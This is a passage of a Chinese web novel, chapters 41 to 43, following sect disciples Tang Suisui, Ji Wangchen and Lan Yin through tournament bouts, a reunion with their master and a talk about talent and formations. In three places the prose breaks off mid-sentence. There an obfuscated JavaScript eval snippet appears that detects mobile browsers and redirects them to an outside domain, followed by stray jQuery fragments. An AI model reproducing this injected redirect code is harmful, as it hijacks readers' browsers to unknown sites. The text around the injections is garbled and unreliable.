“就像姚师舅,他从来没有参加过个人赛,即使入围也会主动放弃。”姬忘尘望着前方的姚成,叹了一口气缓缓开口,“他说,即使只是一场比试,但他也不会将自己的刀挥向同伴。” 41.相聚 姬忘尘知道姚师舅的事也是意外。 那是她第一次参加宗门试炼的时候,师傅还担心她不能适应,主动提起来的。对于更具体的细节,虽然心中有些好奇,但她克制着距离没有过问,怕惹得对方不快。 方才看到姚师舅的身影,也突然想起了这件事情。 不过姬忘尘看汤穗穗对新秀赛适应良好的模样,忐忑的心也放下了几分。眼看第二场比试也即将开始,她就初试表现出的问题,给对方提及了还能改进的建议。 “我记住了。”汤穗穗将师姐的话语铭记于心,看着师姐没有离开的动作,眨了眨眼,“……师姐,一会的比试你也会看吗?” 姬忘尘点点头,没忍住又摸了摸面前期盼的脑袋:“当然了,加油吧。” 得到了师姐的这句话后,汤穗穗瞬间信心倍增,生龙活虎地往擂台的方向跑去。姬忘尘看着她兴奋的身影,笑得无奈地摇摇头。 这次汤穗穗比对方先到达擂台。 她上台后没多久,她的对手——一个年纪相仿的瘦弱少年也抱着木剑上台。 这回的对手和上次不同,抱着剑有些怯战,脸上挂满了紧张的神色,开口还有些结结巴巴。对方的身形看起来有些瘦弱,即使能看出她手臂呈现的肌肉线条,但整体的身形看起来依旧单薄。 即便如此,汤穗穗也不敢有任何轻慢的姿态。毕竟能站上擂台的,一定都是佼佼者。 正如汤穗穗所料,比赛开始的那一刻,瘦弱的少年呈现出了完全不同的姿态。与她瘦弱的体型相反,眼眸瞬间变得光彩十足。 那一刻对方握紧了木剑,眼里充满了实在必得的神情。 ——方才懦弱的模样,不过是她故意演出来的姿态。 比试才刚开始,少年就凭借自己的身形灵活出击。她的体型轻盈,剑法辛辣,比汤穗穗速度更快、招式更巧。在对方凶猛的攻击下,汤穗穗确实被打得有些措手不及,被逼着跟着对方的节奏防御。 不过好在,之前她和师姐有过好几次与魔物历练的经验。几次格挡下,她马上稳住了自己的心神,一边防御一边观察对方招式间的漏洞。 几个来回下,汤穗穗锁定了对方的某个漏洞,压着对方的木剑挑眉,露出张扬的笑容。 对面的少年收剑后撤,汤穗穗抓住这个空缺,将比试的节奏抓了过来。 少年自然不会让对方占据主动,她也在观察汤穗穗的漏洞,同时调整自己的出招节奏,或急或缓、或轻或重。 姬忘尘站在擂台下将两人的动作看在眼里,对汤穗穗的应变能力颇为赞赏地点点头。以她对师妹的了解,这局也应当是稳操胜券。 正当她准备看下去的时候,有人拍了拍她的肩说了些事情。姬忘尘看这场比试汤穗穗应当能取胜,也就点点头应下随着对方离开。 正和少年比试的汤穗穗无暇关注台下人来人往,她将全部心神放在面前的对手身上,警惕对方的每一个动作。 就这样你来我往之间,最终还是汤穗穗使用险招略胜一筹,趁机拿下这一场比试。 当裁判宣布比试结局的时候,面前的少年撤去了战场上的凶猛神态,双腿一软滑坐在地面上。即使大口地喘着气,她仰着头笑看着汤穗穗,发自内心地赞叹:“你果然很厉害。” 她额前的散发被汗水浸湿,黏在脸颊两侧,显得十分狼狈。可是她的眼睛明亮,正为这场痛快淋漓的战局而高兴。 “谢谢啦。”出于礼貌,汤穗穗伸手将对方拉了起来,不吝啬自己的夸奖,“你真的很厉害,不过你的力度有些不够——否则,我们还得再打上几回合。” 虽然这局由汤穗穗拿下了胜利,但她也清楚,对面少年技巧纯熟、身法灵活。倘若不是力度不够,或许这场对决会更难缠一些。 当然,就算对方力气上来,汤穗穗也不觉得自己会输。 “我记住了。”少年借助她的手站起来,用长剑支撑住自己摇晃的身形。说到这个问题,她总是很苦恼,“可惜我找遍了藏经阁,都没有找到如何加强力度的训练。” 说话间,汤穗穗正往人群中梭巡师姐的身影,却不见所踪。 但是她看到了人群中格外显眼的成洱师姐,想到对手的困惑,她下意识提议道:“关于力量训练……不如你去找成洱师姐?她应当有方法。” 汤穗穗原本只是随口一提,但没想到少年突然变得十分兴奋。她下意识转头,望着对方也看到了台下的成洱师姐时瞬间变得生动的脸。 少年兴致高昂地抱着汤穗穗的手臂贴在她身上,话语就像连珠炮一样:“天哪居然是成洱师姐!穗穗我就知道你一定是个好人,还想带我引荐成洱师姐!” “我说了吗?”她仔细回想自己所说的内容,好像也只是提了一下成洱师姐的名字,仅此而已。 不过对方亮闪闪的眼睛眨了眨,眸中满是期盼。 汤穗穗默了一瞬,对方的这幅神态甚至熟悉,就好像自己看到师姐时的那般。 既然这样,她也就做个顺水人情。 “好的我说了。”她皮笑肉不笑,“不过我不保证成洱师姐一定会答应。” “没关系,我就知道穗穗你最好了!”少年抱着汤穗穗的胳膊又欢呼又鼓掌,就好像对方做了天大的好事一样。 汤穗穗被她架着,只得认命地挠了挠头。这件事发生得顺理成章,但还是透露着一股奇怪的感觉:“我怎么感觉你就是故意的呢?” “怎么会呢?”少年佯装无辜地眨着眼,掩饰住自己的别有用心。 其实少年本就仰慕成洱师姐许久,这次终于得到机会请教对方。 两人走下擂台,走到成洱师姐的身边,汤穗穗将事件始末描述给对方,成洱得知后欣然答应。那位少年得到成师姐的应承之后,立马松开汤穗穗,转扑向成师姐的怀里。而后,两人志同道合地商量着练功的事宜。 汤穗穗望着少年的模样,在心中小声念叨对方变脸的速度之快,就跟对方剑招一样。 不过好歹是促成了两人的来往,汤穗穗心中还是倍感荣幸。她继续在台下寻找着师姐的身影,不过没找到师姐,却反而看到了许久未见的师傅。 “师傅!”汤穗穗喜出望外,朝师傅喜气洋洋地跑过去,给了对方一个大大的拥抱,“我好想你啊师傅!” 她和师傅已经有很长一段时间没见面。关于师傅的近况,她也只是从师姐和姚师舅那里听说过,最近宗主正带着师傅熟悉宗内的一些事务,甚是繁忙。 “我也很想你。”秦无纪回抱了一下汤穗穗,慈爱的目光打量她的全身,最后停留在脸上,“你瘦了,好事情。” “哪有?”汤穗穗瞪圆了眼睛,笑着自己伸手揪了揪脸上的肉,并没有感受到差别,“明明还和从前一样。那是师傅你的错觉而已。” “好吧。”秦无纪也没有和汤穗穗争辩,对于这段时间的缺席,她语气中有些遗憾,“抱歉,我之前太忙了,都没来得及关心你,穗穗可不要怪我。” 从上山之后,秦无纪就没怎么管过两人,她心中不免萌生了愧疚之意。作为师傅,她觉得自己仍有许多不够格的地方。 “没事的!”汤穗穗并不在乎这些小细节,仍是一如既往抱着秦无纪的手臂撒娇,“我知道师傅肯定是念着我好的,我肯定不会怪师傅!” 她觉得师傅常年离开宗门,自然要处理的事情有很多,顾不上自己也是理所应当的。毕竟她身边还有那么多师姐们可以请教,她也不想干扰到师傅。 “那就好。”秦无纪伸手默默对方的头,现如今和汤穗穗相处时,她又找回了些许山上的感觉。 这些天宗门事务的繁忙让她分不清真实与虚假,有时候真希望睁开眼看到的是山上破旧的小房屋。 每到这时,心中就免不了一顿感慨:这些年跑到宗门外还真是做对了。 要是让她一直承担这种高强度的事务,恐怕没两天就要撂担子了。 “师傅才是真的辛苦了!”即使对方的面庞一如往昔,但汤穗穗还是抓住了对方眼睛里一闪而过的疲态,“是不是宗门上的事务太忙碌了……还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564964|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵师姨给你安排的工作太多了?” 汤穗穗知道自己师傅的性子,她平常最不喜欢处理冗杂的事务。所以除非必要的事务,很多都是师姐主动揽下、替她去做的。 “别这么想她。”秦无纪看穿她的想法,伸手弹了弹对方的脑门,忍不住为自家师姐申辩起来。 事实恰恰与对方猜测想法相反,大师姐并没有安排什么给她,反而是她自己看师姐的工作过于繁忙主动揽下的。 然而就只是她揽下的那一小部分,已经让她忙得脚不沾地。她都不敢想象,将全部事务做完的师姐,还能剩下多少属于自己的时间。 可是师姐只是笑着说,她都习惯了,况且这些还算不上什么。 面对师姐泰然自若的神情,秦无纪还是很愧疚,愧疚自己当时一言不合的赌气出走,又会抛下多少烂摊子让师姐收拾。 “话是这样说,但是师傅,你也要好好休息才是。”汤穗穗摆正了脸色,望着师傅有些落寞的眼神,郑重地开口说道,“事情再急再忙,也不能完全不管自己的状态。” 秦无纪被汤穗穗的话语拉了回神,没想到自己还有被面前少女训斥的一天。她忍俊不禁,伸手点了点对对方的脑门:“你啊,倒是也把忘尘这点学会了。” 姬忘尘即使不会主动和人打交道,可也总是在细枝末节处关心自己的状态。 “我们都是关心你嘛。”汤穗穗扬起笑脸,将这样的事情视为理所当然,“我希望师傅别太累了才是。” 秦无纪知道汤穗穗的好意,心中涌起一阵阵暖流。 她想起方才错过的新秀赛。当放下事务着急忙慌赶来时已经宣布胜负,不过她最后听到汤穗穗获胜的结果,还是压不住脸上的骄傲与喜悦。 虽然现在说关心好像有些迟了,但她还是下意识地关心起少女对此的适应程度:“好好好,那你呢?最近的新秀赛感觉怎么样?” 关于赛场上的细节,她还是听得更仔细一些,好歹能作为长辈为对方指点些什么。 汤穗穗点点头,将这两场比试的感受坦然说出。 秦无纪一边听着汤穗穗的描述,时而赞赏地点头,时而开口提出一些优化的提议。 汤穗穗也听得很认真,她将师傅所讲的内容用心记下。此情此景,她甚至有些想起以前和师姐切磋之后,师傅在一旁提点的场景。 即使有一段时间没有见面没有交流,也不会影响两人这些年的关系。她们就像真正的家人那般,可以坦然地敞开自己的心扉,诉说最近的喜怒哀乐。 “总之,宗门比试不过是互相切磋的平台而已,胜负都无需放在心上。更重要的,还是从其中学到什么。”秦无纪伸手拍了拍少女的肩膀,也想起了自己曾经的比试,“想当年我运气可差了,总是第一场就对上小师弟,还在几招内击败,真是太丢脸了。” 讲起当年的往事,秦无纪也压不住眼中的笑意。哪怕是落败结局,现在回想起当时的愤愤不平,心中也忍不住感慨时光易逝。 汤穗穗记得师傅口中的小师弟,正是给师姐带来长久困扰的那个人。即使心中并未抱有好感,不过看着师傅脸上怀念的神情,也不会开口破坏此时难得的气氛。 毕竟那是师傅亲近的人之一,或许他对师姐没那么好……但对师傅来说,也一定有过十分难忘的时光。 人总是这样多面的。 望着面前的师傅,汤穗穗忍不住想起了方才师姐随口的感叹,按耐不住心中的好奇:“师傅,我听说姚师舅他……从来没参加过比试?” “他啊……”秦无纪耸了耸肩,无可奈何地开口,“他是我们中最重情义的,对自己认定的事情也是过分执拗。师姐劝了他几次,他都没有松口,也就由着他去了。” 以前秦无纪会觉得,他这样的坚持很没必要、也很虚伪,找对方挑战了几次——直到她的横刀架在对方脖子上那时,才真的意识到他坚持的说辞并非虚假。 当然,姚成也没有吃亏。最后她被对方狠狠地敲了竹杠,也就将这件事牢牢地记在了心里。 42.围观比试 碍于宗门事务在身,秦无纪也没有和汤穗穗聊很久,看到对方状态不错,对宗门也适应良好,她悬着的心就落下了一大半。 汤穗穗也看出对方心系别处,主动提出了告别。当然离开前,还不忘再三嘱咐对方注意身体。 说好会看她比试的师姐又不见了踪影,汤穗穗望着师傅离开的背影,心情有些低落。她只能说服自己,师姐和师傅都有要事,并不是故意忽略自己。 但她还是忍不住沉沉地叹了口气,胸中有许多复杂的情绪挤压在一起,无法纾解。 汤穗穗晃了晃脑袋,强迫自己忘掉那些不快的事情,将心神放回新秀赛中。 她自己的比试被安排在明天,不过下午倒是有唐澄澄的比试。她只知道正式赛的那边没有师姐的比试,就打算留在原地观看唐澄澄的比试。 围观新秀赛的同门并不多,大多是这些选手的师长,因此很容易就能找到个不错的旁观视角。 等她找好位置的时候,台上的比试恰好正式开始。 汤穗穗认真分析着唐澄澄和她对手的水平,思考着如果是自己上场又该怎么应对。唐澄澄的实力中规中矩,这段时间还在成洱师姐的特训下巩固了不少,勉强和对手也算打得有来有回。 但时间一长,双方的差距也逐渐突显出来,对方的水平明显高于唐澄澄。 在这种悬殊的情况之下,即使对手漏洞十分明显,一直稳扎稳打的唐澄澄依旧难以招架,很快落于下风。 或许是眼看胜利在望,她的对手下意识地放松了警惕。 就在所有人以为唐澄澄必输无疑的时候,她突然以意想不到的姿态,反抓住对方的弱点,凭借最后的力气拿下了这一局。 直到宣布比试结果的时候,唐澄澄还没能反应过来。 她站在原地喘着粗气,握着木剑的手仍在发抖,直愣愣地看着面前的对手,耳边嗡嗡作响,大脑一片空白:“……我,赢了?” “是我轻敌了。”她的对手状态明显比她要好,笑着抱拳,坦荡承认了自己的轻视,“这次受教了。” 唐澄澄迟钝地摇摇头,后知后觉收起手中的木剑,心脏还在激烈跳动个不停:“没有没有,你很厉害的。” 两人一边说着一边走下台,唐澄澄还没站稳,就被汤穗穗抱了满怀,欢呼道:“你赢了!” 唐澄澄被对方晃着,迟钝的意识稍微回笼,定睛看向汤穗穗,眼睛亮闪闪地:“我赢了!” 她原本以为自己第一局就会以失败收场,没想到竟然真的赢了。 或许正得益于她稍微有些迟钝的反应,当她明显处于劣势的时候,依旧维持了冷静,抓住了对方显而易见的漏洞,反败为胜。 当然,在她的心中也清楚地知道,这不过是自己运气好。 汤穗穗并不这样认为,她觉得运气也是实力的一部分。 唐澄澄被她哄得有些脸热,心中也多了几分信心。 不过她的第二场比试并没有超常发挥,也没有什么额外的幸运。即使她已经发挥出了全部的实力,但在和对手缠斗几刻钟后,还是遗憾落败。 然而对于唐澄澄来说,这样的结果已经超出她的预料。 她握着木剑走下擂台,对上汤穗穗明亮的眼眸,不自然地移开目光,心中难免泛起了一些沮丧。 当时和成洱师姐特训的时候她就知道,汤穗穗的实力不俗。不知道对方看到这样糟糕的对局,会不会觉得自己很差劲。 汤穗穗熟稔地抱上唐澄澄的胳膊,笑着夸赞她,那些言辞比第一场胜局更甚。 唐澄澄听着这些夸耀,只觉得对方是安慰自己,她不好意思地挠挠头,“穗穗,我刚刚的表现很糟糕吧。” “哪有,我都是发自真心的!”汤穗穗瞪着眼睛佯装不满对方质疑自己的真心,但她也话锋一转,“但说实话,你的缺陷还挺明显的——要是你能拿出对待机关五分之一的态度,说不定你还能多赢几局。” “哈哈……”唐澄澄没想到对方会提到这茬,生硬地转移视线望向正式赛那边,岔开了话题,“哎呀,不知道师姐那边轮到谁比试了呢,要不我们去看看吧?” “你啊——”汤穗穗当然能看出来对方的小心思,学着蓝鄞师姐常做的那样,伸手戳了戳对方的脑门。 汤穗穗都没发现,在面对唐澄澄的时候,明明年纪相仿,但是她总是下意识跟师姐们一样,在脑海中萌生“恨铁不成钢”的想法。 不过她也忍不住反思,会不会是因为她们都没有唐澄澄那种,对于某样东西特别执着的想法,也就不能理解她的选择? 还没等她思考出来什么,身旁的同门听到两人方才的讨论,自来熟地笑着插嘴:“一会可是蓝鄞的比试,大家都去抢个好位置,你俩感兴趣的话可得赶快了!” 在姬忘尘到来之前,无论是新秀赛、正式赛还是寻常的比试,蓝鄞总能包揽下榜首的位置。正因如此,她在同辈中的热度也十分高。 许多人都在期待姬、蓝二人这次阔别几年的又一次对战。 “居然是蓝鄞师姐吗?谢了!”汤穗穗意外地瞪大了眼睛,很自然地接上话茬道了谢。 同门挥挥手没有再废话,加快脚步往正式赛的擂台方向赶去。 “去吗?” “你呢?” 两人异口同声,听到对方的话语后不约而同地笑了出声。 既然两人都有这个念头,汤穗穗没说什么,直接拉起对方的手就往那个方向跑过去。 此时的热闹程度与早上姬忘尘那场比试相当。上一场比试才刚结束,擂台四周马上又围起了里三层外三层的人潮。 还好汤穗穗她们来的时机比较巧,还能找到一个不算拥挤、并且视角很好的位置。 汤穗穗在拟真试炼的时候就已经见识过蓝鄞师姐的枪法,不过那时候她并没有机会细看,这下在擂台下可得好好欣赏欣赏。 不过有趣的是,比试的双方所使用的都是长兵器。蓝鄞所使用的是改造后的三截长枪,组装起来几乎有六尺长;而她的对手使用的近乎五尺长的□□——甚至这位师姐要比这柄刀高上半个头。 原本以为蓝师姐胜券在握的汤穗穗,眼看面前这位高大威猛的师姐,心中也不由得发怵。光从身高体型来看,她比成洱师姐高上一些,不过手臂上的肌肉并没有成师姐那么结实。 随着比赛的开始,两位师姐迅速进入到战斗的姿态,提着各自的兵器向对方步步紧逼。长枪率先在空中出击,或刺或拦,枪枪狠辣;□□紧随其后,或劈或扫,刀刀迅猛…… 两柄罕见长兵在她们手里舞得虎虎生风,互不相让。 一时之间,难分伯仲。 围观的人群也被带入进两人比试的节奏里去。如果说姬忘尘的那场比试更考验两人的身法与招式,蓝鄞的比试则是大开大合的兵刃相接,饶是旁观者也感受到其中的几分惊险刺激。 这场对决比她们想象中都要难缠,汤、唐两人即使对蓝鄞很有信心,但还是下意识地攥紧了对方的手,给彼此打气,紧张到大气都不敢出。 不知台上的两人鏖战了多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568837|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少个回合,最终还是蓝鄞师姐的长枪快人一步,拿下了这场来之不易的胜利。 台上的蓝鄞礼貌抱拳,笑容张扬肆意,她的额前的碎发被汗水打成一缕缕,黏答答地垂着。而她的对手即使遗憾落败,口中也直呼痛快。 当长老宣布比赛结束后,在台下此起彼伏的喝彩声中,汤穗穗才敢把悬在心头的那股气呼了出来。也是这时候才后知后觉地发现,自己的后背早已被冷汗浸湿。 蓝鄞收好长枪,脚步轻快地走下擂台,发现了人群中的两个身影,笑着走过去:“怎么样,看的还畅快吧?” “师姐,你可太厉害了!”汤穗穗马上跑上去,眼睛亮晶晶地看过去,“我在台下看的都紧张极了!” “是嘛?”蓝鄞挑了挑眉,揽住汤穗穗的肩膀,“那我和你师姐,谁更厉害?” “那当然是我师姐!”汤穗穗脱口而出,顺理成章地迎接了蓝师姐的一记爆栗。 “嘿嘿。”汤穗穗揉着自己的脑袋,一脸讨好看向蓝师姐。就算蓝师姐再强,在汤穗穗心里的第一永远是姬忘尘。 “那你呢?”蓝鄞也知道汤穗穗对姬忘尘极端的袒护,伸手将旁边沉默不语的唐澄澄也揽在怀里。 “……我觉得,”唐澄澄眨了眨眼,理性地分析两人的特点,“从上次比试的结果来说,应当是姬忘尘师姐。” “那不从结果来看呢?” “那我觉得是我师姐。”唐澄澄也没有“辜负”蓝鄞的期待,坦然地展现了对成洱师姐的偏爱。与汤穗穗一样,就算有再多的选择,自家师姐就是唯一选项。 听到意料之中的回答,蓝鄞竖着食指用力点了点唐澄澄的脑袋,脸上气得笑了出来。她虽然已经预料到结局,但听到两个直观的答案的时候,心中还是十分郁闷。 甚至有那么一刻她在心里谋划着,是不是也该撺掇师傅给自己收个师妹。 ——可惜的是,她的师傅早就死在除魔的路上,也不能实现她这个愿望。 大人有大量的蓝鄞决定不和她俩计较,手上用力蹂躏过她们的头发就算翻篇了:“你们两个接下来有什么计划?还接着看下去吗?” 汤穗穗乖巧地窝在对方怀里,任蓝师姐撒气,摇了摇头:“我的比试安排在明天,其余的比试安排我没那么清楚。” “这样啊,你们等着,我去问问。”蓝鄞师姐松开两人,一边说着一边在拥挤的人潮之中穿梭,但没过多久她就回来了。 “一会还有成师姐的比试,不过得等挺长的时间。”蓝鄞给她们说起一会比试的安排。 她自己的下一场比试也安排在明天,不过她想起了自己房间里已经看完的阵法图解:“不过,我要去趟藏经阁,你们呢?” “我想留下来看师姐的比试。”既然有自家师姐的比试,唐澄澄肯定是会留下来的。她偏头看向身旁的汤穗穗,不知道对方的选择。 汤穗穗反倒摇了摇头,如果比赛没有自己相识的师姐,她看起来会觉得很乏味。而且在这种场合,她也不敢明目张胆地掏出话本来看。说不定还没等到成师姐上场,她就已经困得睡着了。 对于这个,唐澄澄倒是无所谓旁人的眼光,说不定还可以利用这点时间,抓紧时机再学点机关术原理。 “那我还是跟蓝师姐一块吧。”汤穗穗挠了挠头,思索过后还是选择和蓝鄞同行。 做下决定后,三人就此分成两路。 蓝鄞刚带着汤穗穗从人潮中挤出,就听到身边的人冷不丁地发问:“蓝鄞师姐,你是不是对阵法很感兴趣?” 43.天赋 “……哈哈穗穗,你怎么会这么想呢?”蓝鄞被汤穗穗如有实质的眼神盯得不太自在,下意识避开了对方的目光。 她不知道对方突然的发言究竟意味着什么,但却没由来地紧张。 她胸膛中的心脏跳个不停,和方才上台比试的那种感觉截然不同。她慌张地眨了眨眼睛,想要压下自己的真实情绪,不自觉地咽下口水,手上不自觉地攥紧衣摆又松开。 山风恰好吹来,即使是日头高悬,但凉意还是钻入了衣服里,让她浑身生起鸡皮疙瘩。而在她身旁的汤穗穗并没有感受到这些。 清风带起汤穗穗脸颊旁的碎发,她苦恼地抓了抓头发。她只是觉得蓝鄞师姐回避的动作十分明显,说话的内容也有几分欲盖弥彰。 “难道不是这样吗?”这些动作都让汤穗穗不太理解,她跟在蓝鄞的身边,低垂着头,一步步踢着地上的石子,“我以为蓝师姐你应当是非常喜欢的。” “‘非常’吗?”蓝鄞无意识地重复着,她的声音放的很轻,没有给出明确的答案。 其实她的内心远不如脸上表现得那么平静,不停扇动的眼睫和攥紧导致的褶皱将其矛盾的情绪展现得一览无余。 ——蓝鄞自己也说不上来。 在她曾经的经验来说,她的人生不应该出现这样极度表达喜好的词语。 ……然而不可否认,在那一刻她泛起了一些甜蜜的情绪,几乎掩不住嘴角露出的笑容。 “也没有很感兴趣,也就是一般喜欢。”蓝鄞抿了抿唇,将那些欣喜的情绪全部压入心底,松开了攥紧的衣摆,“……我只是想学习阵法,就仅此而已。” 汤穗穗却不这么认为。她还记得蓝鄞之前就提及过,现如今宗门的阵法学习已经式微,如果不是某些就简单的阵法强制学习的话,藏经阁中保存的阵法书籍早就落灰了。 可是蓝鄞师姐所表现出来的对于阵法的熟稔与好奇,绝对不是被强制学习的模样。 也因此她没有理会蓝鄞的嘴硬,她转了个身来到对方面前,仔仔细细地观察对方脸上的神情,认认真真地开口:“蓝师姐,你是喜欢的吧。” 虽然是带着疑问开口,但是汤穗穗却用的笃定的语气。 “你啊……”汤穗穗的话语一层层地钻入到蓝鄞内心的最深处,她望着面前这个打破砂锅问到底的少女,无奈地伸手捏了捏对方的脸,“非要刨根问底是吗?” 以往怎么就没发现,这个小姑娘居然是这种不好糊弄的性子。 蓝鄞手上的力度并不大,只是稍微扯了扯她肉乎乎的脸颊,脸上佯装愠怒。 汤穗穗应付蓝鄞更是得心应手,她笑着扑上去,赔着笑脸说了几句好话,哄得对方脸上的笑容一点都收不住。 周围的气氛一下子变得轻松,两人就这样说说笑笑往藏经阁的方向走去。 汤穗穗问起蓝鄞对阵法学习的由来,蓝鄞心情正好,也就提炼了点这些年的经历对她开口。 当年她因为家族的关系和乾坤宗有所联系,而她本人对阵法十分好奇,也就从此上山学艺。然而她入门的时机很不巧,已是邓娇一行人遇难之后,宗门内也没有那股学习阵法的浪潮。 好在,藏经阁里的书籍很多,她的师傅对阵法的研究也不浅,也带着她在继续在阵法上探索了许多。 可惜没过多久,师傅便出了意外。关于阵法的学习,她也只能恢复到小时候那种自学的状态。在那段时间里,藏经阁阵法书籍里那些不知名前辈的纸笺,也领着她往前走了许久。 蓝鄞不是没做过自学成才的天才梦,然而越长大越认清自己无能平庸的事实。 当她又遇到瓶颈的时候,同门师长也无法解答她的问题,也就只能一直搁置着。 不过,她万万没想到,竟然会在拟真境遇到宋璋——那个无数次在书页上为她指点迷津的前辈,在秘境中又一次越过岁月,为她答疑解惑,敞开目前的困境。 听君一席话,胜读十年书。 宋璋前辈短短的几句提点,已经让她茅塞顿开,对之前的知识也有全新的体悟。 与阵法结缘的故事就到此结束,汤穗穗在身旁听得认真,也没有打断对方。 蓝鄞想起真实世界里诸位前辈的经历,也不由得感叹一句“世道无常”。 她下意识地掏出已看完的书籍,望着留在纸笺上的笔迹,轻轻叹了口气:“只可惜这位天才陨落后,不知何时才会出现下一个天才。” 汤穗穗捕捉到蓝鄞此刻的落寞与沮丧,她抱着对方的手臂笑弯了眼睛安慰道:“话虽如此,蓝鄞师姐,我觉得你一定能取得非常大的成就——甚至远超宋璋师姐。” 不过她这番发自内心的话语,对方却没有当真,只当做是吹捧。 “你可真会说好话。”蓝鄞伸手点了点她的脑门,不以为然,“阵法哪有你说的那么好学,我这种天赋平平的人,那赶得上宋璋前辈。” “只有天才才能够学习阵法吗?”汤穗穗歪了歪脑袋提问道。 “倒也不是,我们寻常人也能学习。”蓝鄞知道汤穗穗的意思,但她依旧觉得天赋是至关重要的,“只有拥有顶级天赋,才能走得更远。像我这种天赋平平无奇的人,我怎么能跟宋璋师姐比?” “……我不觉得。”汤穗穗站定在原地,微微抬头看向面前的蓝鄞师姐,否定对方有些自暴自弃的话语。她不理解蓝鄞的纠结,“蓝鄞师姐,为什么一定要有天赋才能去做这样的事情呢?结果为什么比不过呢?” “要是如果没有天赋,又能做出来些什么呢?如果没有天赋,这一切又有什么意义?” “可是师姐,为什么没有天赋,就等于没有意义呢?”汤穗穗这样反问蓝鄞,她觉得蓝鄞师姐的想法很奇怪,为什么要给“意义”划分个三六九等呢? 不同的位置都会有不同的风景才是。 就拿乾坤宗来说,山下是熙熙攘攘的烟火人间,半山腰是隐匿的世外桃源,而她们所处又是完全不同的景象。 难道只有宗门里的同辈师长们的人生才算是有意义吗? 这不对,山下百姓照样活得有滋有味。 蓝鄞望着面前这位面容青涩的少女,她的眼眸是对自己话语的不认可、是尚未被污染的纯洁——那一瞬间好像看到了曾经的自己。 或许也正是这样纯粹的时候,才能拥有那般无畏的勇气与决心。 那时的她刚入山门,问起师傅为什么不继续去学习阵法。 师傅缓慢地摇了摇头,发出沉闷的叹息,语气里满是对宋璋的遗憾与可惜,手指从书页上眷恋地划过,轻声呢喃:“天妒英才,早早陨落。阵法的修习只会更细微、不入眼,终觉无法成为大势。” “天才难道就很了不起吗?”她还带着一身傲气,不认可地开口反驳。她比如今的汤穗穗年岁更小,却凭着一股狂妄自视甚高。 “那当然了,”师傅似笑非笑地看向她,“吾等庸才,又能掀起什么浪花呢?” 那是第一次有人跟她强调天赋,这句话也成了后来无数次陷入迷茫时的自我怀疑,与最后臣服于平庸的论证。 ——是啊,庸才本就不如天才。 蓝鄞垂眸压下心中几不可查的不忿,将这句话平静描述给面前的少女。 两人脚下的身影被日光混杂在一起,拉长得分辨不清。 “不是这样的。”汤穗穗想起当时无意翻阅的书页,上面工整娟秀的笔记,记录下那些为后人答疑解惑的词句,“倘若宋璋师姐知道,她一定也会这样反驳的:天才与平庸是有差距,但不代表平庸就被剥夺了学习的权利。 “蓝师姐,我不知道你在犹豫什么,我也不知道你为什么一直在否定自己,一直在说服自己没有‘天赋’、不如旁人。……可是蓝师姐,你喜欢它,你也能做好它,这就足够了。” 蓝鄞望向身旁的面前的少女,对方的话语在她的心中久久回荡,无法平静。她眨着眼又一次撇开目光,下意识地回避对方所说的话语。 她望向前方,不远处就是高大的藏经阁,也是她曾经最熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574056|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方。她想抬步抛下汤穗穗走过去,但她又想留下来听对方再说些什么。 “……虽然我刚刚说你比不过师姐,”汤穗穗顿了顿望向身边的女人,露出了不好意思地神情,“可是蓝师姐,你依旧是一个很厉害的人。如果是你的话,为什么不能取得、甚至是超越宋璋师姐的成就呢?” “如果我没能做到呢?” “那就更正常了!”汤穗穗睁大了眼睛,理所当然地开口,“要是真的能像我这样,三言两语就做到的,那不就早就做成了吗?……我不知道师姐你怎么定义‘意义’,但我始终觉得,意义与天赋无关,只和每个人的自身相关。” “啧,你嘴最甜了。”蓝鄞不免失笑,眨着眼睫压下眼眶的泪水,伸手按在汤穗穗的脑袋上,半真半假地开口,“真是的,你怎么不能是我师妹呢?” “那不行,坚定‘一个师姐’原则。”汤穗穗认认真真地摇头。 蓝鄞站在阵法相关的书架旁,掏出自己上次借阅的书籍放了回去。指尖划过某本之前觉得生涩难懂的书籍,将其抽了出来,书籍内一如既往夹着许多宋璋师姐的笔记。 或许正如汤穗穗所言,其实宋璋师姐早就做到了:她将自己的感悟书写在纸笺上,供一个又一个后来者阅读、帮助她们更快地理解其中的内容。 即使她身为阵法天才,但是从不吝啬去分享自己的感悟,也乐意探讨其中的奥妙。 时至今日,蓝鄞才觉得她的师傅太片面了,庸才也能掀起独属于庸才的浪花。她这样想着,单手托着书籍,自然地摊开书页,另一只手的手指在师姐的字迹上划过,脑海不自觉想起以前的事情。 